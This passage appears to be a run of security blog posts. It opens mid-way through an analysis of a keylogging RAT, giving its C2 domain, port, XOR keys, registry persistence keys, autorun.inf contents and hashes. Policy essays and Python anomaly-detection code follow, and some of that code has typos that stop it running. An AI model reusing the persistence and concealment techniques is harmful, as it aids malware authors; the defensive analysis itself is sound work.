Since the encoded line in Table 2 was only 9 bytes long, only the first 9 bytes of the key were utilized. However, the key does not resume from byte 10 on the next line of encoded text. It starts back from the beginning of the key (e.g. 0x0E0A0B, etc.) and it will repeat itself until that line of data concludes. To illustrate this further, the following table presents three different lines of encoded ASCII text followed by its decoded version. The alphabetic characters of the decoded text are upper case/lower case inverted, while the numeric and special characters are displaying normally.

Table 3: Decoded Keylog Data

The most critical component of this malware runs in memory, but it’s written to disc ever so briefly by b41149.exe. The temporary file, “XX—XX—XX.txt”, is resident on the system for only a fraction of a second in the logged-on user’s %Temp% directory. Once running, the malware-spawned command shell deletes it (as reflected above in Table 1). XX—XX—XX.txt is XOR encoded with 0xBC, and once decoded, it contains the name of the reach back CnC domain a.servecounterstrike.com, as well as a UPX-packed dynamic link library (DLL) file. Strings of the DLL suggest it contains remote access tool (RAT) capability. In addition, since the DLL runs in memory, and XX—XX—XX.txt does not remain resident on the victim host, its presence could be difficult to determine.

The beginning of XX—XX—XX.txt displays the un-encoded file structure path from where the malware was executed. This string is followed by the path of the running process, which is the self-replicated System.exe. Immediately after is where the XOR encoded CnC reach back domain and the connection port are located. A single byte XOR key, 0xBC, is used for this, and Figure 6 reflects a “before and after” encoding look at the beginning portion of XX—XX—XX.txt.

Figure 6: XX—XX—XX.txt Before and After Encoding

The DLL embedded inside XX—XX—XX.txt is near offset 1C192, but this is dependent upon the length of the path name from which the malware was executed. Figure 7 reflects a “before and after” encoding look at the embedded DLL’s DOS stub.

Figure 7: XOR Encoded DOS Stub Inside XX—XX—XX.TXT

As stated above, the DLL is UPX packed, but once unpacked, it reveals some interesting strings that provide some insight into its functionality. Table 4 lists some strings of interest.

Table 4: Strings of Interest

Persistency is a key component of malware, and b41149.exe persists on the victim host through several mechanisms, such as the following registry RUN keys:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\Policies: "C:\WINDOWS\system32\mony\System.exe"

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\HKLM: "C:\WINDOWS\system32\mony\System.exe"

In addition, a copy of the binary is stored in the user’s start up folder as WinUpdater.exe. However, 10 bytes are appended to the binary as shown in figure 8.

Figure 8: Trailing Byte Comparison of B41149.EXE / WINUPDATER.EXE

An autorun.inf file is also created in the root of the C:\ directory. Below is the content of the INF file, which opens apphelp.exe - also located in the root of C.

[autorun]
open=apphelp.
ACTION=
Perform a Virus
Scan
[autorun]
open=apphelp.
ACTION=
Perform a Virus
Scan

One unusual aspect of this malware is that while the main action takes place in memory, it is actually very noisy in terms of activity on the victim host. It writes, deletes, then rewrites two files in rapid succession to the logged-on user’s %Temp% directory. The files are XxX.xXx and UuU.uUu. Each file contains the current timestamp of the victim host in an HH:MM:SS format. No other data is contained within those files. Interestingly, XxX.xXx is rewritten at half-second intervals, while UuU.uUu is rewritten every five seconds. Figure 9 displays the contents of these files captured moments apart from one another.

Figure 9: Content of XXX.XXX AND UUU.UUU

The most obvious sign of something being not quite right here is that upon execution, this binary spawns a command shell window for the user and everyone else to see. The shell is not a user interactive, because it cannot be typed in. However, if the shell is closed (or terminated), the malicious process, C:\WINDOWS\system32\mony\System.exe, restarts automatically. Interestingly, upon system reboot, the malicious process System.exe hooks to the default browser and runs as previously described, but it does not spawn a browser window. It’s possible that the visual command shell window is intended to trick the user into thinking there’s something wrong with the system, thus prompting a reboot.

Network Activity

As previously stated, the binary connects to a.servecounterstrike.com, which is compiled in memory. Upon execution of the binary, the victim host sends a DNS query for a.servecounterstrike.com, and once an IP address is returned, begins sending periodic SYN packet to the returned IP address over port 115, presumably until the attacker responds or until it receives further command from its CnC node. Figure 10 shows the PCAP of a compromised host’s initial connection with the malicious domain. This activity was captured from within an enclosed virtual network.

Figure 10: Initial Connection from a Compromised Host

During the short period in which the compromised virtual machine was left online, no return attacker activity occurred, so it’s undetermined what would transpire in the long term if this were an actual compromised online host.

Stay tuned for a follow-up post once I do some deeper dive analysis of this binary. For now, I’ll leave you with some hashes. Enjoy.

File Identifiers

File: b41149.exe Size: 1343488 MD5: f20b42fc2043bbc4dcd216f94adf6dd8 SHA1: 4d597d27e8a0b71276aee0dcd8c5fe5c2db094b0 SHA256: b41149a0142d04ac294e364131aa7d8b9cb1fd921e70f1ed263d9b5431c240a5 ssdeep: 6144:hEnCDKEJkKspH02n/M+WJ/04KLuqju11M+HDKsR:h9DdspH02004fqjujM+HGs Compile Time: 4F605417 (Wed, 14 March 2012 08:17:27 UTC) Compile Version: Microsoft Visual Basic 5.0 / 6.0 Internal File Name: Microsft.exe

File: embedded_ascii-encoded_bianry.exe (with fixed PE Header and “filler” byte blocks removed) Size: 277869 MD5: a47d9f42a1a1c69bc3e1537fa9fa9c92 SHA1: b2d588a96e29b0128e9691ffdae0db162ea8db2b SHA256: c17cb986ccd5b460757b8dbff1d7c87cd65157cf8203e309527a3e0d26db07e3 ssdeep: 6144:8k4qmyY+DAZCgIqiEM3OQFUrsyvfEUKMnqVZ:P9wQuCvjdordEGn6

File: c:\WINDOWS\system32\mony\System.exe (dropped by embedded Unicode encoded binary) Size: 277869 MD5: a47d9f42a1a1c69bc3e1537fa9fa9c92 SHA1: b2d588a96e29b0128e9691ffdae0db162ea8db2b SHA256: c17cb986ccd5b460757b8dbff1d7c87cd65157cf8203e309527a3e0d26db07e3 ssdeep: 6144:8k4qmyY+DAZCgIqiEM3OQFUrsyvfEUKMnqVZ:P9wQuCvjdordEGn6

File: embedded DLL in XX–XX–XX.txt Size: 120320 MD5: c1bc1dfc1edf85e663718f38aac79fff SHA1: 9d01c6d2b9512720ea7723e7dec5e3f6029aee3d SHA256: 5468be638be5902eb3d30ce8b01b1ac34b1ee26b97711f6bca95a03de5b0db24 ssdeep: 3072:dk7/I/KbMm4oIP9zaj1WyWBiyhdYKC0iwsUukhh3a:dkDuK4m4jWjv+nCksfQB

File: embedded DLL in XX–XX–XX.txt (unpacked) Size: 329728 MD5: f920cee005589f150856d311b4e5d363 SHA1: 2589fa5536331a53e9a264dd630af2bdb6f6fc00 SHA256: 1fd16ca095f1557cc8848b36633d4c570b10a2be26ec89d8a339c63c150d3b44 ssdeep: 6144:iQoh1rcU8kHOEkzsz+F97pk1nJJn7TB82R:j2RbHOEkzsaXmxn7T

In 2010, General Michael Flynn co-authored a report entitled Fixing Intel critiquing the threat-centric emphasis within counterinsurgency intelligence analysis. The report, which made waves in the intelligence community (IC), called for an organizational and cultural shift within the analytical and operational approach to counterinsurgency, highlighting the gap in data collection and the resulting lack of holistic situational awareness critical for decision-making. Recently, the Chief Analytic Methodologist at DIA, Josh Kerbel, reinforced these arguments while extending them beyond counterinsurgency to apply to all missions across the IC writ large. Noting that the IC is at a Kodak moment, he argues that the IC must move beyond the Cold War business model and modernize in light of the dynamic and diverse threats present in the current operating environment.

Having spent a significant amount of time both as an analyst and interviewing analysts across a wide range of intelligence agencies and Combatant Commands, I now see significant parallels within the cyber domain. While cyber is a much more nascent field, it is already widely recognized that there is a gap between the very tactical and technical nature of the cyber domain and the information relayed to leadership. The DoD’s inclusion of cyberspace as an official domain of warfare certainly indicates its relevance for the foreseeable future and there are plenty of lessons to learn, both from the CT realm as well as from the larger IC perspective, in order to make cyber analysis relevant for leadership. Two of the most pertinent lessons, which I’ll address in further detail, are: 1) contextualizing challenges and 2) translation between practitioners and leadership.

1) Contextualization: As both Kerber and the Flynn report note, for more than a decade the IC has been preoccupied with a threat-centric view of terrorism, which in turn focuses on targeted collection. Similarly, the cyber domain currently seems to take a threat-centric approach, again with an emphasis on targeted collection. In both cases, an emphasis on the nodes omits the larger picture that leadership requires to make informed decisions. It is indicative of the proverbial inability to see the forest for the trees. Nevertheless, cyber intelligence should cross the strategic, operational, and tactical domains to provide insight at each level of analysis. There is great utility in both private and public organizations understanding the larger picture and context of the cyber challenges within the operating environment.

2) Translation required: Kerber emphasizes the behavioral component of customer-driven production, noting analysts must understand what the policymakers are trying to accomplish and provide a service that meets those needs. This, he argues, is counter to the current strategy of assuming relevance of a product because it is based on unique information. This is identical to the disciplinary gaps seen today in the cyber domain. Too often, the hyper-technical delivery of cyber information and analysis to leadership is packaged in a language and format that quite simply are not useful for decision makers. Insights from cyber analysis will not reach their full potential if we cannot transform the technical jargon into a language that leaders can understand. Fixing Intel notes that the IC “is a culture that is strangely oblivious of how little its analytical products, as they now exist, actually influence commanders.” This gap arguably already haunts the cyber domain, where very technical products are either not directly relevant for or are incomprehensible to leadership. Until this necessary translation happens, and until we can move towards a common framework for the cyber domain, the divide between the cyber analysis and policy communities, and between leadership and cyber practitioners, will remain.

Last month commemorated the 100th anniversary of the start of World War I. It was a time when states were so interdependent and borders so porous that some call it the first era of globalization. In fact, immediately prior to World War I, many forecast that interdependence would be the predominant driving force for the foreseeable future, diminishing states’ tendencies toward war and nationalism. World War I immediately halted this extensive global interdependence, in large part due to rising nationalism and the growth of inward-facing policies. On the surface, there seems to be little in common between that era and the current Digital Age. However, the misguided presumption prior to World War I that interdependence would render states’ domestic interests obsolete is at risk of resurfacing in the cyber domain. Given the narrow focus on connectivity during previous waves of interdependence, here are three observations about the role of the state in the Digital Age worth considering:

1) In “borderless” cyberspace, national borders still matter. Similar to perspectives on the growth of interdependence prior to World War I, there is currently an emphasis on the borderless, connected nature of cyberspace and its uniform and omnipresent growth across the globe. While borders – both virtual and physical – have become more porous, the state nevertheless is increasingly impacting the structure and transparency of the Internet. From Russia’s recent expansion of web control to Brazilian-European cooperation for underground cables, there is a growing patchwork approach to the Internet – all guided by national interests to maintain control within state borders.

2) “Data Nationalism” is the new nationalism of the Digital Age. While traditional nationalism still exists, thanks to the information revolution it now manifests in more nuanced ways. “Data nationalism”, where countries seek to maintain control of data within their physical borders, has strong parallels to traditional nationalism. In both cases, nationalism serves as a means to shape and impact a state’s culture and identity. As history has shown, states – and the governments running them – aim to maintain sovereign control of their territory and stay in power. Nationalistic tendencies, especially state preservation, tend to strongly influence the depth and structure of connectivity among people and states. This was true one hundred years ago, and it is true today. States are disparately invoking national legislation and barriers to exert their “data nationalism” within a virtual world, possibly halting the great expansion of access and content that has occurred thus far. Just as nationalism and states’ interests eventually altered the path of the first era of globalization, it is essential to acknowledge the growing role of the state in shaping the Internet during the Digital Age.

3) Although a technical creation, the cyber domain is not immune from the social construct of states’ interests. During each big wave of globalization and technological revolution, the idea that interdependence will triumph and trump individual states’ interests emerges. However, this idea discounts the role of the state in continuing to shape and maintain sovereign control while simultaneously influencing the structure of the newly connected system. This is true even in the cyber realm, which is not immune to the self-interest of states. From the great firewall of China to various regulations over content in Western European countries to Internet blackouts in Venezuela, states are increasingly leveraging their power to influence Internet access and control data and content within their borders. This has led to a growing discussion of the “Splinternet” or Balkanization of the Internet, which refers to the disparate patchwork of national policies and regulations emerging globally. Running counter to the ideals of openness and transparency on which the Internet was founded, it comes as no surprise to international relations scholars that states would seek to control (as best as possible) the cyber domain.

The role of self-interested states has largely been absent from discussions pertaining to the future of the Internet. Fortunately, there is a growing dialogue on the impact of national barriers and disparate national legislation on the Internet’s evolution. A recent article in The Atlantic reflects on the growing fractionalization of the Internet, and is reminiscent of earlier eras’ articles about the hub-and-spoke system of international trade. Similarly, aPew Research Center poll highlights concern over the potential fractionalization of the Internet due to state intervention. As we continue to consider how the Internet will evolve and how policymakers will respond to an increasingly interconnected digital domain, we must not ignore the inherent tendency of states to demarcate both physical and virtual control within their sovereign borders.

Last week, I had the opportunity to attend a conference that had been on my radar for a long time. I’ve been using scientific Python tools for about 10 years, so it was with great excitement that I attended SciPy 2014 in Austin. I enjoyed meeting the developers of this excellent open-source software as well as other enthusiastic users like me. I learned a great deal from talks about some Python tools I haven’t yet tried but should really already be using, like conda, bokeh, and others. I also gave a talk describing how I have been using the SciPy stack of software in my work here at Endgame. In this post, I’ll summarize and expand on the first half of my presentation.

My work at Endgame has focused on collecting and tracking metrics associated with network and device behavior. By developing a model of normal behavior on these metrics, I can find and alert users when that behavior changes. There are several examples of security threats and events that would lead to anomalies in these metrics. Finding them and alerting our users to these threats as soon as possible is critical.

The first step in finding anomalies in network and device behavior is collecting the data and organizing it into a collection of time series. Our data pipeline here at Endgame changes rapidly as we develop tools and figure out what works and what doesn’t. For the purposes of this example, the network traffic data flows in the following way:

Apache Kafka is a distributed messaging system that views messages as a log. As data comes in, Kafka takes care of receiving it and distributing it to other systems that have subscribed to it. A separate system archives this data to HDFS for later processing over historical records. Reading the data from the Kafka servers allows my database to stay as current as possible. This allows me to send alerts to users very soon after a potential problem occurs. Reading historical data from HDFS allows me to backfill metrics once I create a new one or modify an existing one. After all of this data is read and processed, I fill a Redis database with the time series of each metric I’m tracking.

The three Python tools that I use throughout this process are kairos to manage the time series database, kafka-python to read from Kafka, andpyspark to read from HDFS. I chose each project for its ease of use and ability to get up to speed quickly. They all have simple interfaces that abstract away complicated behavior and allow you to focus on your own data flow. Also, by using a Python interface to old and new data, I can share the code that processes and compares data against the metrics I’ve developed.

I gave my presentation on the third and final day of SciPy. Up until that point, I hadn’t heard Apache Spark or pyspark mentioned once. Because of this, I spent an extra minute or two evangelizing for the project. Later, the Blaze developers gave a similar endorsement. It’s good to know that I’m not alone in the scientific Python community in loving Spark. In fact, before using Spark, I had been running Pig scripts in order to collect historical data. This required a bunch of extra work to run the data through the Python processing scripts I had already developed for the real-time side of things. Using Spark definitely simplified this process.

The end result of all this work is an easily accessible store of all the metrics. With just a couple lines of code, I can extract the metric I’m interested in and convert it to a pandas Dataframe. From there, I can simply analyze it using all of the scientific computing tools available in Python. Here’s an example:

# Make a connection to our kairos database
from redis import Redis
from kairos import Timeseries
intervals = {"days" : {"step" : 60, "steps" : 2880},"months" : {"step" : 1800, "steps" : 4032}}
rclient = Redis(“localhost”, 6379)
ktseries = Timeseries(rclient, type="histogram”, intervals=intervals)

# Read data from our kairos database
from pandas import DataFrame, to_datetime
series = ktseries.series(metric_name, “months”)
ts, fields = zip(*series.items())
df = DataFrame({"data” : fields}, index=to_datetime(ts, unit="s"))

And here’s an example time series showing the number of times an IP has responded to connection requests:

Thanks for reading. Next week I’ll talk about the different models I’ve built to make predictions and find anomalies in the time series that I’ve collected. If you’re interested in viewing the slides from my presentation, I’ve shared them here.

In my last post, I talked about the different Python projects I used to put together a pipeline for network security data. In this post, I’ll talk about how I used the scientific computing software stack in Python (numpy, scipy, andpandas) to build a model around that data and detect outliers. We left off last week with a pandas DataFrame containing example data:

This plot is an example taken from the database that shows the number of times an IP responds to connection requests over time. In order to find potential security threats, I’d like to find outliers in this and any other time series. In order to find outliers, I need to build a model around what I believe is normal behavior based on past data.

The most simplistic approach to building a model is to take the mean and standard deviation of the data I’ve seen so far. I can then treat the mean as a prediction of the next value and generate an alert when the actual value exceeds a configurable number of standard deviations from that prediction. The results of that simple algorithm are shown below:

In this plot and the ones that follow, the actual number of connections observed is in blue. The green window is centered on the prediction made for that time bin and extends one standard deviation in each direction. A red vertical line is drawn when the actual data is a configurable distance away from that prediction window.

As you can see in this first model, the prediction window is not highly correlated with the data and the spread is very large. A better model would be to fit the data to a sine curve using the tools that scipy provides. The prediction is the fit value and the standard deviation is derived from the residuals to the fit:

from scipy.optimize import leastsq

def fitfunc(p, x) :
  return (p[0] * (1 - p[1] * np.sin(2 * np.pi / (24 * 3600) * (x + p[2]))))

def residuals(p, y, x) :
  return y - fitfunc(p, x)

def fit(tsdf) :
  tsgb = tsdf.groupby(tsdf.timeofday).mean()
  p0 = np.array([tsgb[“conns”].mean(), 1.0, 0.0])
  plsq, suc = leastsq(residuals, p0, args=(tsgb[“conns”], np.array(tsgb.index)))
  return plsq

At least on weekdays, the prediction mirrors the data better and the window is tighter. But we can improve these models even further. When looking through the data, it became apparent to me that different kinds of metrics required totally different models. I therefore developed a method for classifying the time series by asking two different questions:

• Does this metric show a weekly pattern (i.e. different behavior on weekdays and weekends?)
• Does this metric show a daily pattern?

In order to answer the first question, I fit the sine curve displayed above to the data on weekdays and weekends separately and compared the overall level of the fit (the p0 parameter in the equation above). If the levels differed, then I would build a model for the weekday data separately from the weekend data. If the overall levels of those fits were similar, then I kept that time series intact.

def weekend_ratio(tsdf) :

  tsdf['weekday'] = pd.Series(tsdf.index.weekday < 5, index=tsdf.index)
  tsdf['timeofday'] = (tsdf.index.second + tsdf.index.minute * 60 + tsdf.index.hour * 3600)

  wdayplsq = fit(tsdf[tsdf.weekday == 1])
  wendplsq = fit(tsdf[tsdf.weekdy == 0])
  return wendplsq[0] / wdayplsq[0]

In the plot above, I show the weekday and weekend fits in red. For this data, the behavior of the time series on weekdays and weekends was different enough that I decided to treat them separately.

The next step is to determine if the time series displays daily patterns. In order to do this, I use numpy to take the Fourier transform of the time series and inspect the bins associated with a frequency of a day. I sum the three bins closest to that frequency and compare them to the first bin or the DC component. If the sum is large enough compared to that first bin, then the time series is classified as having a daily pattern.

def daily_ratio(tsdf) :

  nbins = len(tsdf)
  deltat = (tsdf.index[1] - tsdf.index[0]).seconds
  deltaf = 1.0 / (len(tsdf) * deltat)
  daybin = int((1.0 / (24 * 3600)) / deltaf)

  rfft = np.abs(np.fft.rfft(tsdf[“conns”]))
  daily_ratio = np.sum(rfft[daybin - 1:daybin + 2]) / rfft[0]

  return daily_ratio

Plots are sometimes the best way to explain these results, so I show two examples of the procedure below. In the first example, I show all the weekday data together in blue and the Fourier transform of that data in green. Red lines highlight the values corresponding to the frequency of a day in the Fourier transform data. The spike there is obvious and indicates a strong daily pattern.

The next figure shows the second example of the daily classification procedure. Here, the weekend data is combined in blue and the Fourier transform of that is in green. The Fourier transform data is flat and tells me that there is no daily pattern in this data.

The next step in the analysis is to apply a predictive model to the weekdays and weekends separately. In both cases, I apply an exponentially weighted moving average (EWMA). This calculation weights more recently occurring data more heavily in the calculation of an average. Trends and events in the past have less and less of an effect on future predictions. It’s a very simple calculation to do in pandas:

def ewma_outlier(tsdf, stdlimit=5, span=15) :
  tsdf[’conns_binpred’] = pd.ewma(tsdf[‘conns’], span=span).shift(1)
  tsdf[’conns_binstd’] = pd.ewmstd(tsdf[‘conns’], span=span).shift(1)
  tsdf[‘conns_stds’] = ((tsdf[‘conns’] – tsdf[’conns_binpred’]) /
                         tsdf[‘conns_binstd’])
  tsdf[‘conns_outlier’] = (tsdf[‘conns_stds’].abs() > stdlimit)
  return tsdf

For time series that show no daily pattern, such as the weekend days of the example data we’ve been working with, I calculate the moving average and standard deviation and flag outliers when the actual data is a certain number of standard deviations away from the average. This procedure works best for data that does not vary significantly over time. It does not work as well when predictable daily patterns are present. In this case, the moving average lags the actual data in a predictable way that I should be able to account for. I’ve been calling this method a “stacked EWMA” because I group the data by time of day and stack each day on top of another. The next scatter plot shows the data stacked in this way.

Each vertical line corresponds to the number of connection responses occurring during a certain time of day over the span of about three weeks. Now I track the EWMA of the data in each of those vertical lines separately. This is illustrated in the next plot.

Here, the number of connection responses between 8AM and 8:30AM are expanded over the range of days on which they were collected. The green solid line shows the EWMA calculated from just those points and the dashed green line shows the edges of the prediction window. The same analysis is carried out for each time of day bin. After it’s completed, I have a prediction window for each bin that’s based on what’s happened at this time of day over the previous days and weeks. Here is the code that completes this stacked analysis:

def stacked_outlier(tsdf, stdlimit=4, span=10) :

  gbdf = tsdf.groupby(‘timeofday’)[colname]
  gbdf = pd.DataFrame({‘conns_binpred’ : gbdf.apply(pd.ewma, span=span),
                       ‘conns_binstd’ : gbdf.apply(pd.ewmstd, span=span)})
  interval = tsdf.timeofday[1] - tsdf.timeofday[0]
  nshift = int(86400.0 / interval)
  gbdf = gbdf.shift(nshift)
  tsdf = gbdf.combine_first(tsdf)
  tsdf[‘conns_stds’] = ((tsdf[‘conns’] – tsdf[‘conns_binpred’]) / tsdf[‘conns_binstd’])
  tsdf[‘conns_outlier’] = (tsdf[‘conns_stds’].abs() > stdlimit)
  return tsdf

This last plot shows the final result when the weekday and weekend models are executed and combined in the same figure. Daily patterns are predicted and accounted for. Flat periods during the weekends are well tracked. In further testing, this prediction model is very robust to different types of time series.

In the future, I’d like to create some metric for judging different prediction models that adequately penalizes for false positives and false negatives. I’d also like to further experiment with ARIMA (autoregressive integrated moving average) models and automatically finding repeated patterns instead of counting on them occurring in daily and weekly time spans. Also, a different technique will probably be necessary for time series with low statistics.

Thanks so much for reading. I hope you’ve learned a bit about the simplicity and power of working with the scientific computing stack in Python and its applications to network security data. I’ve posted the slides from which this material was taken here.

On Monday, I attended the rollout event for former Secretary of the Navy Richard Danzig’s most recent report: “Surviving on a Diet of Poisoned Fruit: Reducing the National Security Risks of America’s Cyber Dependencies.” The report provides eight recommendations to help the government better position itself in light of the abundance of cyberspace challenges. Danzig’s recommendations tackle a range of topics, from federal workforce challenges to the trade-offs between functionality and security. While the main recommendations were thought provoking, Danzig arguably placed the most important portion of his paper in the appendix, meaning it was overlooked during the discussion and likely by readers as well. Danzig notes in the appendix that “there is no reliable data upon which to make decisions.” This is an extraordinarily important point that conceptually applies to the majority of his eight recommendations, but is generally overshadowed by the emphasis on more practical considerations.

The global community is dealing with one of the greatest technological disruptions in history, but, as Danzig argues, policymakers and analysts lack data and metrics upon which to make informed decisions. Both the public and private sectors are operating completely blind when it comes to cyberspace. This enables self-interested organizations and individuals to make claims that cannot be falsified. Based on Popper’s criterion of falsifiability, cyberspace currently resides in the realm of conjecture as opposed to scientific research. While moving cyber into the realm of scientific research may seem like merely an academic exercise, the absence of falsifiability implies that the public and private sectors are spending an exorbitant amount of money in the cyber domain based on assumptions that may or may not be true. In fact, as Danzig notes, assessments “are unconstrained in reflecting their political, ideological and commercial agendas rather than logical inferences.”

While problematic, this phenomenon is not distinct from other periods of technological shock that similarly lacked the data standardization and construct validity required to assess the impact of the changes. For instance, during and in the aftermath of World War II, the first quantitative studies emerged that attempted to understand the great shock that had just occurred to the international system. Lewis Frye Richardson (Statistics of Deadly Quarrels) and Quincy Wright (A Study of War) pioneered quantitative research focused on understanding the causes and consequences of war. Their work paved the way for additional formal modeling and quantitative analysis that helped shape Cold War theories and policy approaches, blurring the line between complex, quantitative analytics and policymaking and grand strategy.

It took a shock to the international system to spark innovation in the realm of conflict and security studies. The creation and expansion of cyberspace is similarly a shock to the international system today, but we have yet to see this same level of innovation in the realm of cyberspace and the data prerequisites that make a cybersecurity framework possible. Where could this theoretical and technical innovation come from? Danzig’s sixth recommendation highlights the fact that cybersecurity is not just a technical problem, but a social and behavioral problem as well. In short, it requires insights from various disciplines to help make sound diagnoses and prescriptions for cybersecurity. Interestingly, the breakthrough in conflict studies did not come solely from within political science, but rather benefited from the multi-disciplinary research of its early pioneers. As the report discussion highlighted, it is very likely that the breakthrough in our comprehension of cybersecurity will not come solely from technologists, but from interdisciplinary practitioners who can help construct and evaluate the relevant data and its impact on the operating environment.

Until that happens, as Danzig notes, cybersecurity will remain fragmented, with decisions made in the dark. Absent an interdisciplinary, data-driven approach to crafting a coherent cybersecurity framework, the pendulum will continue to dramatically swing between fear mongering over a “cyber Pearl Harbor” at one extreme and a blissful ignorance of the reality of potential cyber threats at the other. Decision-makers rely on information that is, according to Danzig, “indeterminate, inconsistent, over-interpreted or all three.” He’s absolutely right, but this must change. Cybersecurity is long overdue for a data-driven framework – crafted by technologists and non-technologists alike – that can assist decision-makers as they grapple with the challenges of the dynamic cybersecurity environment.

I recently gave the keynote address at “Securing the eCampus,” a gathering of university CIOs and CISOs hosted by Dartmouth College. Drawing on my fifteen years of experience in the kinetic security world, running a security software company, and serving on the Board of Trustees at Dartmouth, I offered ten observations on the cyber landscape, especially as it pertains to academic environments:

1) Most of us are creatures of analogy when it comes to cyber – we’re all, to some extent, steering by looking in the rear-view mirror. So how did we get here? I think we need to look back to the 1991 Gulf War, after which the Chief of Staff of the Indian Army said that the great lesson was “don’t pick a fight with the U.S. unless you have nuclear weapons.” By dominating the middle of the spectrum of conflict – WW2-style tank-on-tank warfare – we drove our adversaries to the poles: Afghanistan and Iraq on the “low” (insurgency) end, Iran and North Korea on the “high” (nuclear) end. Cyber is where the two meet: there are low barriers to entry to achieving capabilities that can have global impact – very cheap, somewhat easy, and extremely powerful.

2) The cyber world is characterized by four vectors moving in the same direction but at different speeds:

• Technology is progressing very quickly;
• Social norms are evolving just behind that technical frontier;
• Then there’s a huge gap to where the law is trying to keep up;
• Slowest of all, policy formulation within the context of the law remains the most stagnant domain.

Most of the really interesting things are happening in that gap between technical feasibility/new social norms and the law/policy playing catch-up.

3) Cyber is blurring the lines between states and commercial actors, rendering conflict possible between any combination of states, state proxies, non-state actors, and commercial companies. The old model of states solely attacking states and companies spying only on companies is obsolete (the Iranian attacks on American banks a few years ago were a wake-up call in the popular consciousness). Most enterprises, both federal and commercial, now face similar challenges in cyber security.

4) The line between offense and defense is similarly nebulous, driven by technical evolution and also by the dissolution of the perimeter. The old paradigm was American football: 11 guys on the field playing ‘O’ and then 11 guys on the field playing ‘D’. The new paradigm is a lot more like European football: whether you’re on offense or defense depends upon which direction the ball is traveling on the field. It’s a faster and more dynamic world. (Just to be clear: I’m very much against private companies conducting offensive cyber operations…in addition to the legal issues, my time in the kinetic security world as a Marine left me with a strong appreciation for escalation dominance: don’t pick a fight you can’t win, and I don’t know of any company that can possibly win against a state or state-sponsored adversary.)

5) A relentless increase in connected devices, from roughly 9B connected things today to 40B connected things by the end of this decade, will greatly strain an eCampus security environment. Connecting 1B devices per quarter for the foreseeable future means massively increasing device proliferation, data proliferation, and network complexity. Just in the campus environment, for example, the average student today has 3 devices and the average student in four years will have 5 devices.

6) There are no more fortresses: the perimeter isn’t just gone, it’s been burned to the ground. Mobility/device proliferation, cloud migration, and the vastly increasing attack surface of the Internet of Things (remember that the attack vector in the recent Target data breach was the HVAC system…) mean that all this PII is flowing out to IaaS and cloud applications. Security teams need to gain and maintain visibility across infrastructures they don’t own and cannot control.

7) The security industry has a persistent and growing talent gap. Universities can help with the supply side of that equation through STEM education, but that takes a long time, so let’s also focus on the demand side by building tools that are easy to use. Can the industry bring consumer-style ease of use to security? Can we bring all the interesting things that are happening in analytics and visualization to bear on this problem? And incidentally, can we make the adjustment to realize – and I’m making a prediction here – that the Target breach and its aftermath will be looked back on as a watershed moment? A public company CEO was fired by the board because of a data breach. These issues will be less and less delegable to the CISO by a President or CEO, less and less delegable to a communications officer by a commanding general, and so we as an industry need to find a way to present what’s happening in a format that is digestible in the C-suite.

8) We must move from threat-based analysis to risk-based security intelligence. Universities are not immune from the cyber threat, but the degree of risk varies significantly, depending on a given source of attack and the kind of target. Let’s just postulate that in academic environments Russian intrusions typically target personal identifying information, while Chinese attacks generally target biochemistry and engineering research. Some universities are implementing frameworks to establish data location and sensitivity – mapping exactly where all its research and data is stored, and then color-coding it according to sensitivity. Because university networks are so porous and global, it’s often difficult to even recognize a breach attempt. For global universities that experience daily connections from countries around the world, nothing is an anomaly. We need to move towards:

• Reducing noise by focusing on relevance and risk instead of on arbitrary alerts.
• Extending visibility to every aspect of a digital domain instead of only behind the false security of a perimeter fortress.
• Empowering users to do data-driven exploration instead of relying only on PhD data scientists and mathematicians. Lead with insights, not with data.

This all starts to define a new aspect of security, something like “Security Intelligence” – the real-time collection, normalization, and analysis of the data generated by users, applications and infrastructure that impacts the IT security and risk posture of an enterprise. The goal of Security Intelligence is to provide actionable and comprehensive insight that reduces risk and operational effort for any size organization. None of that is especially controversial in the world where I typically operate – corporations and the government. But I put on my Dartmouth Trustee hat and think, “wow, real-time collection and analysis of user-generated data” is going to raise eyebrows in academic environments, which gets to the ninth observation…

9) Privacy and security cannot be in opposition to one another. First, we need to de-couple privacy and civil liberties in this conversation (historically, in America, I would argue that we have seen vastly expanding civil liberties even as privacy has diminished considerably – which isn’t to say that privacy doesn’t have great value; it’s just something a bit different). Second, we’ve been trading privacy for convenience for a long time – think not just of social media and email but about the first person who dictated a communication to a telegraph operator instead of sending a more private letter. But nonetheless, there’s a cultural aspect to academic communities that will inevitably be concerned with security adversely impacting intellectual freedom. The very purpose of these institutions is to promote academic and intellectual freedom, learning, and sharing. Unlike the tight controls that most enterprises employ, university technology systems are very porous. Because of their design (or intentional lack thereof…), university systems are often less secure: security and ops teams don’t manage the entirety of the systems that make up the network; students frequently oversee the assets they use; systems may be deployed and changed without much formal oversight and sometimes without IT’s knowledge. So I’ll conclude with a very simple 10th observation, which is only that…

10) Any workable management of these challenges is mostly human, not technical. Universities have gone through cultural transitions over the years as physical security has become a greater concern. Campus shootings have led to the widespread adoption of measures such as making students wear and show IDs, closing access to certain facilities at certain times of day, posting security guards at campus entrances, and more complex monitoring and alerting systems, while high-profile cases of sexual abuse or assault have led to increasing calls for background checks for employees and faculty. There may now need to be a cultural shift in how digital security is viewed as well—not as an intrusion, but as a measure of protection. Until this cultural shift happens, there will be continuing barriers to adopting better digital security measures on college campuses.

During the 2011 London riots, the local government called for a ban on BlackBerry Messenger Service, a key form of communication during these events. Following the riots, Prime Minister David Cameron considered a ban on social media outlets under certain circumstances. Last year, Irmak Kara tweeted as events unraveled during the Gezi Park Protests in Turkey - now, she is on trial and faces up to three years in prison for those tweets. Last month, Iran sentenced eight citizens to a combined total of 127 years in jail for posting on Facebook. At the same time, Iran’s leaders continue to use social media outlets such as Facebook, Twitter, and Instagram. This apparent contradiction highlights the often Janus-faced nature of cyber statecraft. World leaders employ cyber statecraft domestically to exert control over their citizens as well as to propagate their messages and communicate. But which states are more likely to censor and restrict access to the Internet? On the surface, this seems like a fairly straightforward question - clearly, democracies must censor less than authoritarian regimes. However, as these brief examples illustrate, global politics is rarely so straightforward. Spatial patterns may in fact impact the likelihood of Internet censorship more consistently than a state’s domestic attributes. While factors such as regime type, level of economic development, and Internet infrastructure undoubtedly play a role, a look at spatial patterns data highlights that a neighborhood “hot spot” effect may be a predominant force in a state’s propensity toward Internet censorship.

